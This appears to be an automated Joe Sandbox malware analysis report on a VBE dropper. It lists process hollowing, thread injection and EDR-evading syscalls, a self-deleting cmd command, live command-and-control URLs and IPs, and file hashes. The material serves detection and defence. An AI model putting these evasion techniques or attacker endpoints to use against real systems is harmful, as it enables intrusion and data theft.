Source: C:\Windows\explorer.exe	Network Connect: 198.54.117.242 80			Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	NtQueueApcThread: Indirect: 0x123A4F2			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	NtClose: Indirect: 0x123A56C

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe

Memory written: C:\Users\user\AppData\Local\Temp\HHhHh.exe base: 400000 value starts with: 4D5A

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Section loaded: NULL target: C:\Windows\SysWOW64\wscript.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Section loaded: NULL target: C:\Windows\SysWOW64\wscript.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Thread register set: target process: 1028			Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Thread register set: target process: 1028			Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Sample uses process hollowing technique

Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe

Section unmapped: C:\Windows\SysWOW64\wscript.exe base address: 9B0000

Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Temp\HHhHh.exe "C:\Users\user\AppData\Local\Temp\HHhHh.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Process created: C:\Users\user\AppData\Local\Temp\HHhHh.exe "C:\Users\user\AppData\Local\Temp\HHhHh.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\AppData\Local\Temp\HHhHh.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe	Code function: GetLocaleInfoW,wcsncmp,		6_2_009C7084
Source: C:\Windows\SysWOW64\wscript.exe	Code function: GetUserDefaultLCID,GetLocaleInfoW,GetModuleFileNameW,FreeLibrary,GetLocaleInfoA,LoadStringA,GetModuleFileNameA,CharNextA,memcpy,strcpy_s,LoadLibraryExA,LoadLibraryExA,sprintf_s,CharNextA,memcpy,strcpy_s,LoadLibraryExA,LoadLibraryExA,GetUserDefaultLCID,GetLocaleInfoA,sprintf_s,CharNextA,memcpy,strcpy_s,LoadLibraryExA,LoadLibraryExA,		6_2_009C544C

Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\HHhHh.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HHhHh.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Code function: 6_2_009C79A0 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

6_2_009C79A0

Source: C:\Windows\SysWOW64\wscript.exe

Code function: 6_2_009BB8C3 RegisterEventSourceW,GetUserNameW,LookupAccountNameW,LookupAccountNameW,ReportEventW,DeregisterEventSource,SysFreeString,RegCloseKey,RegCloseKey,

6_2_009BB8C3

Source: C:\Windows\SysWOW64\wscript.exe

Code function: 6_2_009B91C6 SysAllocString,GetVersionExA,IsTextUnicode,MultiByteToWideChar,GetLastError,SysAllocStringLen,MultiByteToWideChar,GetLastError,_swab,memmove,SysFreeString,

6_2_009B91C6

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Source: Yara match	File source: 4.2.HHhHh.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.HHhHh.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.4519776308.0000000003130000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4518736574.0000000000900000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2206699607.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2150854025.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4519112840.0000000002C50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Source: Yara match	File source: 4.2.HHhHh.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.HHhHh.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.4519776308.0000000003130000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4518736574.0000000000900000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2206699607.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2150854025.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4519112840.0000000002C50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_009B9D9A CreateBindCtx,SysFreeString,SysAllocStringByteLen,	6_2_009B9D9A
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_009C1170 CreateBindCtx,CreateFileMoniker,MkParseDisplayName,	6_2_009C1170
Source: C:\Windows\SysWOW64\wscript.exe	Code function: 6_2_009BDEED CoCreateInstance,CoCreateInstance,GetUserDefaultLCID,CoGetClassObject,CreateBindCtx,	6_2_009BDEED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Shared Modules	1 Scripting	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	Data from Removable Media	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	611 Process Injection	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	4 Obfuscated Files or Information	NTDS	224 System Information Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	231 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	41 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	41 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	611 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
TNS71092E68UI0.vbe	17%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\HHhHh.exe	100%	Avira	HEUR/AGEN.1357443
C:\Users\user\AppData\Local\Temp\HHhHh.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://www.gyosei-arimura.com/de94/?jBZ=DixB1qykAeF3P3PXJeHdSknPWO1HgPnInxoSQIfAm9wP6zKJEe36YOPFRPwN1ZbEVsUi&iH=L48pdJnx	0%	Avira URL Cloud	safe
www.happygreenfarm.com/de94/	0%	Avira URL Cloud	safe
http://www.ashleymorgan.live/de94/?iH=L48pdJnx&jBZ=5tT0wx6F9dDlvd0I7/Gf0Z876YhP5UCSCTQNI7gCLgEp6gs1sNLPrbs4iKZbSyW3sHh4	0%	Avira URL Cloud	safe
http://www.rendamaisbr.com/de94/?jBZ=oGEpRlg+OmPq0B7KIcYot+ASNw6YPmukejZMyF938WrRMvUmELkE1jbD5t8azbvrsm6P&iH=L48pdJnx	0%	Avira URL Cloud	safe
http://www.tateshades.xyz/de94/?iH=L48pdJnx&jBZ=KxdOA0Mo1WZhrruLdWg4BGjiUazPRKkva+c6BVUkR9pg9lvbFJGOvuIlGrqlewJrvTBn	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
especialistaleitura.online	195.35.41.249	true	true	unknown
host.websitepro.hosting	34.149.86.124	true	false	unknown
www.rendamaisbr.com	104.21.29.136	true	false	unknown
www.tateshades.xyz	198.54.117.242	true	true	unknown
www.gyosei-arimura.com	103.169.142.0	true	true	unknown
ashleymorgan.live	79.133.41.250	true	true	unknown
rtproketslotcsn.art	67.223.118.63	true	true	unknown
ext-sq.squarespace.com	198.185.159.144	true	false	unknown
www.21stcut.shop	103.224.182.210	true	false	unknown
www.ashleymorgan.live	unknown	unknown	true	unknown
www.especialistaleitura.online	unknown	unknown	true	unknown
www.legalix.xyz	unknown	unknown	true	unknown
www.rtproketslotcsn.art	unknown	unknown	true	unknown
www.gv031.net	unknown	unknown	true	unknown
www.exploringtheoutdoors.net	unknown	unknown	true	unknown
www.invigoratewell.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.gyosei-arimura.com/de94/?jBZ=DixB1qykAeF3P3PXJeHdSknPWO1HgPnInxoSQIfAm9wP6zKJEe36YOPFRPwN1ZbEVsUi&iH=L48pdJnx	true	Avira URL Cloud: safe	unknown
http://www.ashleymorgan.live/de94/?iH=L48pdJnx&jBZ=5tT0wx6F9dDlvd0I7/Gf0Z876YhP5UCSCTQNI7gCLgEp6gs1sNLPrbs4iKZbSyW3sHh4	false	Avira URL Cloud: safe	unknown
http://www.rendamaisbr.com/de94/?jBZ=oGEpRlg+OmPq0B7KIcYot+ASNw6YPmukejZMyF938WrRMvUmELkE1jbD5t8azbvrsm6P&iH=L48pdJnx	false	Avira URL Cloud: safe	unknown
http://www.tateshades.xyz/de94/?iH=L48pdJnx&jBZ=KxdOA0Mo1WZhrruLdWg4BGjiUazPRKkva+c6BVUkR9pg9lvbFJGOvuIlGrqlewJrvTBn	true	Avira URL Cloud: safe	unknown
www.happygreenfarm.com/de94/	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
195.35.41.249	especialistaleitura.online	Germany	8359	MTSRU	true
103.169.142.0	www.gyosei-arimura.com	unknown	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	true
198.54.117.242	www.tateshades.xyz	United States	22612	NAMECHEAP-NETUS	true
104.21.29.136	www.rendamaisbr.com	United States	13335	CLOUDFLARENETUS	false
79.133.41.250	ashleymorgan.live	Germany	203833	AT-FIRSTCOLOAustriaAT	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1482976
Start date and time:	2024-07-26 13:02:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	TNS71092E68UI0.vbe
Detection:	MAL
Classification:	mal100.troj.evad.winVBE@10/2@12/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 121 Number of non-executed functions: 341
Cookbook Comments:	Found application associated with file extension: .vbe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
07:03:10	API Interceptor	1x Sleep call for process: HHhHh.exe modified
07:03:20	API Interceptor	7093104x Sleep call for process: explorer.exe modified
07:03:53	API Interceptor	6766871x Sleep call for process: wscript.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
103.169.142.0	PURCHASING ORDER.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.tatetits.fun/hy08/?q4k=ZU/tNHZcxuQwuUysFzqTJgPjiqik5ONlvOVKJJQ3Lwuc3sNdWpL7gNnjk4oVQI6QdUmYC0CSew==&3f2pj=9rDXMfLppP84JvX
	Documento di bonifico bancario intesa Sanpaola 20240613 EUR23750.exe	Get hash	malicious	FormBook	Browse	www.paucanyes.com/pz12/?Ft6LPF=wmB39g7fMVvhAuIXrcacNlSYByOKhXrL5caurGICgekgrDmbedkAGJpMCJINZ+FV4qAD&Ev2=OjrLPv0Hh4WLu
	LrhyzIl40E4GDdy.exe	Get hash	malicious	FormBook	Browse	www.pedandmore.com/cr12/?BTOpnf=iIPpOUXNyO34lcpLdk5huh2xxw1lHvA4p4NfyRoKXWr7GJ/HmAQJ3oSSYiZx4RWCGij5I5N7HQ==&GdPLV=vBZHrVzHLZo0h4
	FX6nkep9GCEHbmb.exe	Get hash	malicious	FormBook	Browse	www.pedandmore.com/cr12/?8pY=c2MXfj9hZ4EphnoP&ZPx4zB2H=iIPpOUXNyO34lcpLdk5huh2xxw1lHvA4p4NfyRoKXWr7GJ/HmAQJ3oSSYh1X/Qq6LDCi
	dVebcwR6p0.exe	Get hash	malicious	FormBook	Browse	www.piedrajuansebastian.net/fs83/?Txl=O0GPaRWPLnPXX6&NVoluR=s49Ut+wkX4QXz9GJZDxNW7pfCDFSyXZVyJkpGBOG3y/jGvv59DF1wmbR+R4pG2EI6BCdkePZNA==
	#U043d#U043e#U0432#U0430_#U043f#U043e#U0440#U044a#U0447#U043a#U0430_pdf.exe	Get hash	malicious	FormBook	Browse	www.nicklawsoncreative.com/m0d5/?4hl=-ZgPd27PJrpD&uZCd=dGhLoH5vjBvSJznqGXUszKfwiWn6UPxWPatQvtz8yx4Tr5Zxdjnw04caI7oX+qJSIHRo
	rINQUIRYFORQUOTATION.exe	Get hash	malicious	FormBook	Browse	www.deiaamore.com/a0e6/?1bkDOF=IX0xa&BPWX-v5=8mbVPnG+J9r+9PiSrFOTB0biFER4eJiyZWSSX7iNA85IcvPXL8mibUw7gnCGqicgoGXX
	hi38VYWujz.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.embhajeflexiveis.com/be53/?oT5=aYnY9ags8h7dJGIqJu8WrtwFY6Xckqfyut2fSd51fLqlVrU9YICaztEIWdsYD/JWvyc3&v0Dd=aPFdKLwPWjPXZR-p
	http://sunprojects.club	Get hash	malicious	HTMLPhisher	Browse	sunprojects.club/
198.54.117.242	Navana Pharmaceuticals PLC.pdf.exe	Get hash	malicious	FormBook	Browse	www.usebanq.com/azio/
	hdBLUdo056.exe	Get hash	malicious	FormBook	Browse	www.usebanq.com/8lx9/
	fiY5fTkFKk.rtf	Get hash	malicious	FormBook	Browse	www.usebanq.com/8lx9/
	tEBdYCAxQC.rtf	Get hash	malicious	FormBook	Browse	www.usebanq.com/8lx9/
	PIG860624BF1GE1532.xml.exe	Get hash	malicious	FormBook	Browse	www.cbsnews23.store/q696/
	12nTpM7hB1.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.cbsnews23.store/q696/
	OSL332C-HBLx#U180es#U180el#U180ex#U180e..exe	Get hash	malicious	FormBook	Browse	www.cbsnews23.store/q696/
	prnportccy.vbs	Get hash	malicious	FormBook	Browse	www.rertwre.info/2whg/?o0Zx=XBfcH9YKQNJ7gYYElMI2jgZ671AqBS/+k/0z7hNmt0RBbbFlxuyTDu2wja3ybvTaZji8CR/rwA2iPew+hyoz00W9R3v/3FKbkwDVe2LckHr98S3hZ92xNv4=&tZmp=CfGpi2Bp2bbH12U
	m2 Cotizaci#U00f3n-1634.pdf.exe	Get hash	malicious	FormBook	Browse	www.cbsnews23.store/q696/
	order enquiry PDF.vbs	Get hash	malicious	FormBook	Browse	www.usebanq.com/uf1r/?sRy=BLaLYB&UDwd=ZjtyFPwJHB2+fbXQFBKI637ksOjg2Mch+iRGcCcbVumerEs2DPVaf+8kqQRK+lSc75dhD6fMTI6KWzj8vbB0SjTMUINgNtuWilsH91QlgNou83Xkng==

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ext-sq.squarespace.com	LisectAVT_2403002C_3.exe	Get hash	malicious	FormBook	Browse	198.185.159.144
	http://hwylovermk.shop/product_details/5509027.html	Get hash	malicious	Unknown	Browse	198.185.159.144
	CSCEC Middle East (L.L.C).exe	Get hash	malicious	FormBook	Browse	198.185.159.144
	QNB SWIFT PAYMENT INTER-BANK SETTLEMENT FT22037358.exe	Get hash	malicious	FormBook	Browse	198.185.159.144
	xU0wdBC6XWRZ6UY.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	198.185.159.144
	FSW510972H6P0.exe	Get hash	malicious	FormBook, DBatLoader	Browse	198.185.159.144
	http://www.crowdstrike-helpdesk.com/	Get hash	malicious	Unknown	Browse	198.185.159.144
	DHL_497104778908.exe	Get hash	malicious	FormBook	Browse	198.185.159.144
	Steel pipes material data sheets Bill of Quantity Valves chemicals KM C654e21011710050.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	198.185.159.144
	yEz94BK14pkJoFb.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	198.185.159.144

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	file.exe	Get hash	malicious	SystemBC	Browse	103.164.245.233
	file.exe	Get hash	malicious	SystemBC	Browse	103.170.105.14
	New Order.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	103.163.138.29
	LisectAVT_2403002B_137.dll	Get hash	malicious	Trickbot	Browse	134.150.60.75
	LisectAVT_2403002B_164.exe	Get hash	malicious	UACMe	Browse	103.165.81.207
	Quotation .exe	Get hash	malicious	Remcos, DBatLoader	Browse	103.186.116.62
	Request Quotation.exe	Get hash	malicious	Remcos, DBatLoader	Browse	103.186.117.150
	https://sidbm.net/officialweb/?russell.sinco@corespecialty.com	Get hash	malicious	HTMLPhisher	Browse	103.177.95.90
	Request for quotation.exe	Get hash	malicious	Remcos, DBatLoader	Browse	103.186.117.150
	OCcyyxs6dW.elf	Get hash	malicious	Unknown	Browse	138.44.174.224
MTSRU	7Y18r(223).exe	Get hash	malicious	Bdaejec	Browse	62.118.122.137
	https://assets-usa.mkt.dynamics.com/95689b1f-9545-ef11-bfdf-00224825570b/digitalassets/standaloneforms/40bb8d8b-d049-ef11-a317-6045bdd83a8b	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	195.35.33.215
	Installer Setup 9.7.0.exe	Get hash	malicious	Unknown	Browse	195.35.49.154
	SecuriteInfo.com.FileRepMalware.25505.20211.exe	Get hash	malicious	Unknown	Browse	195.35.33.201
	Qa5qvgWyUn.elf	Get hash	malicious	Mirai	Browse	91.77.166.9
	http://pub-a8ca61c8f7dc4c519488087e0ecec227.r2.dev/index.html	Get hash	malicious	Unknown	Browse	195.35.33.215
	http://pub-87e95b6c746d4f758cf64246fecf1595.r2.dev/index.html	Get hash	malicious	Unknown	Browse	195.35.33.215
	jew.m68k.elf	Get hash	malicious	Unknown	Browse	89.209.77.15
	qgtfQPgL23.elf	Get hash	malicious	Unknown	Browse	91.76.115.62
	https://isragohar.github.io/Fb-Clone-	Get hash	malicious	Unknown	Browse	195.35.10.26
NAMECHEAP-NETUS	file.exe	Get hash	malicious	SystemBC	Browse	198.54.120.214
	LisectAVT_2403002A_333.exe	Get hash	malicious	Unknown	Browse	198.54.125.89
	LisectAVT_2403002A_333.exe	Get hash	malicious	Unknown	Browse	198.54.125.89
	LisectAVT_2403002A_87.exe	Get hash	malicious	FormBook	Browse	162.0.236.122
	LisectAVT_2403002A_97.exe	Get hash	malicious	DarkVision Rat	Browse	198.54.126.102
	Quotation.exe	Get hash	malicious	FormBook	Browse	68.65.122.150
	LisectAVT_2403002B_309.exe	Get hash	malicious	Bdaejec, FormBook	Browse	162.0.225.191
	LisectAVT_2403002B_412.exe	Get hash	malicious	FormBook	Browse	162.0.238.43
	LisectAVT_2403002C_119.exe	Get hash	malicious	Bdaejec, Sodinokibi	Browse	198.54.121.233
	LisectAVT_2403002C_3.exe	Get hash	malicious	FormBook	Browse	162.0.236.122
CLOUDFLARENETUS	IRqsWvBBMc.exe	Get hash	malicious	Amadey, Vidar	Browse	104.21.72.79
	SecuriteInfo.com.Win32.RATX-gen.11894.20893.exe	Get hash	malicious	FormBook	Browse	172.67.134.182
	https://rtntrack.rediff.com/click?url=___https://www.firstpost.com/health/covid-19-puts-kidney-patients-at-high-risk-as-poor-immunity-ill-equipped-dialysis-centres-exposes-patients-to-infection-8627161.html___&service=instasearch&clientip=66.249.79.152&pos=readfullarticle&Ruw=&Rl=&q=&destinationurl=https://My.ha51000.com/.de/c2FsbHkuYmVldHlAcXVpbHRlci5jb20=	Get hash	malicious	Phisher	Browse	188.114.96.3
	RFQ#51281AOLAI.xls	Get hash	malicious	FormBook, PureLog Stealer	Browse	188.114.96.3
	https://intralinks.us.com/kI1A4RAsty2APhQ3Ea4DCmQ3E4DCI1Acalz01coTxm	Get hash	malicious	HTMLPhisher	Browse	172.67.159.233
	https://forms.office.com/r/WH4W8hyyNA	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	file.exe	Get hash	malicious	Unknown	Browse	104.21.72.79
	file.exe	Get hash	malicious	Unknown	Browse	104.21.72.79
	RFQ#51281AOLAI.xls	Get hash	malicious	FormBook, PureLog Stealer	Browse	188.114.96.3

Process:	C:\Users\user\AppData\Local\Temp\HHhHh.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Temp\HHhHh.exe

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	574464
Entropy (8bit):	7.9719357617793225
Encrypted:	false
SSDEEP:	12288:PUHa23esgAwon1bfxnltD+u5IgHnWT8GqIvZdww/kV+s00XDsGW4g:Oa2usg9gFZn/D+yImfIvZdw0kV+B0XH
MD5:	62FA567CBB7227AEB7755B679D780725
SHA1:	0280D019165F8DF6B76CFA87047C76D9003AB193
SHA-256:	7B67DC6AD75A054A5BAAFF1CB3E61C2436823DE4FD80B6E73CD9CBBB850F6D81
SHA-512:	CEB8059393DBF6B2E55FE324FC957A319223508162CB278FA3A48A849B2C77D2AAB285B91C3A122C56C72D2819CE24A18B02BC2BF83963634F083929E74B1B01
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....b.f..............0.............N.... ........@.. ....................... ............@.....................................O.......................................T............................................ ............... ..H............text...T.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........B...=..........\...(?..........................................^..}.....(.......(......0../........(...........s....o...........s.... ....o.......0............r...po......,..(...+...+....,....o.....+S.o............+7............(........( ..........,.........&........X.......i2...+........C.#f........{...."..}........0..G.........(!.....,$........s".........%...P....(#...&+....-..+..($.....(%.......0..+.........,..{.......+....,...{....o&.......('....*..0......

Static File Info

General

File type:	ASCII text, with very long lines (65242), with CRLF line terminators
Entropy (8bit):	5.979589269470885
TrID:	Visual Basic Script (13500/0) 100.00%
File name:	TNS71092E68UI0.vbe
File size:	804'487 bytes
MD5:	83ef588dc92a85ef93d055290393a07d
SHA1:	c7fa54bb9f8d5467137197b8e344b95d2e1f4430
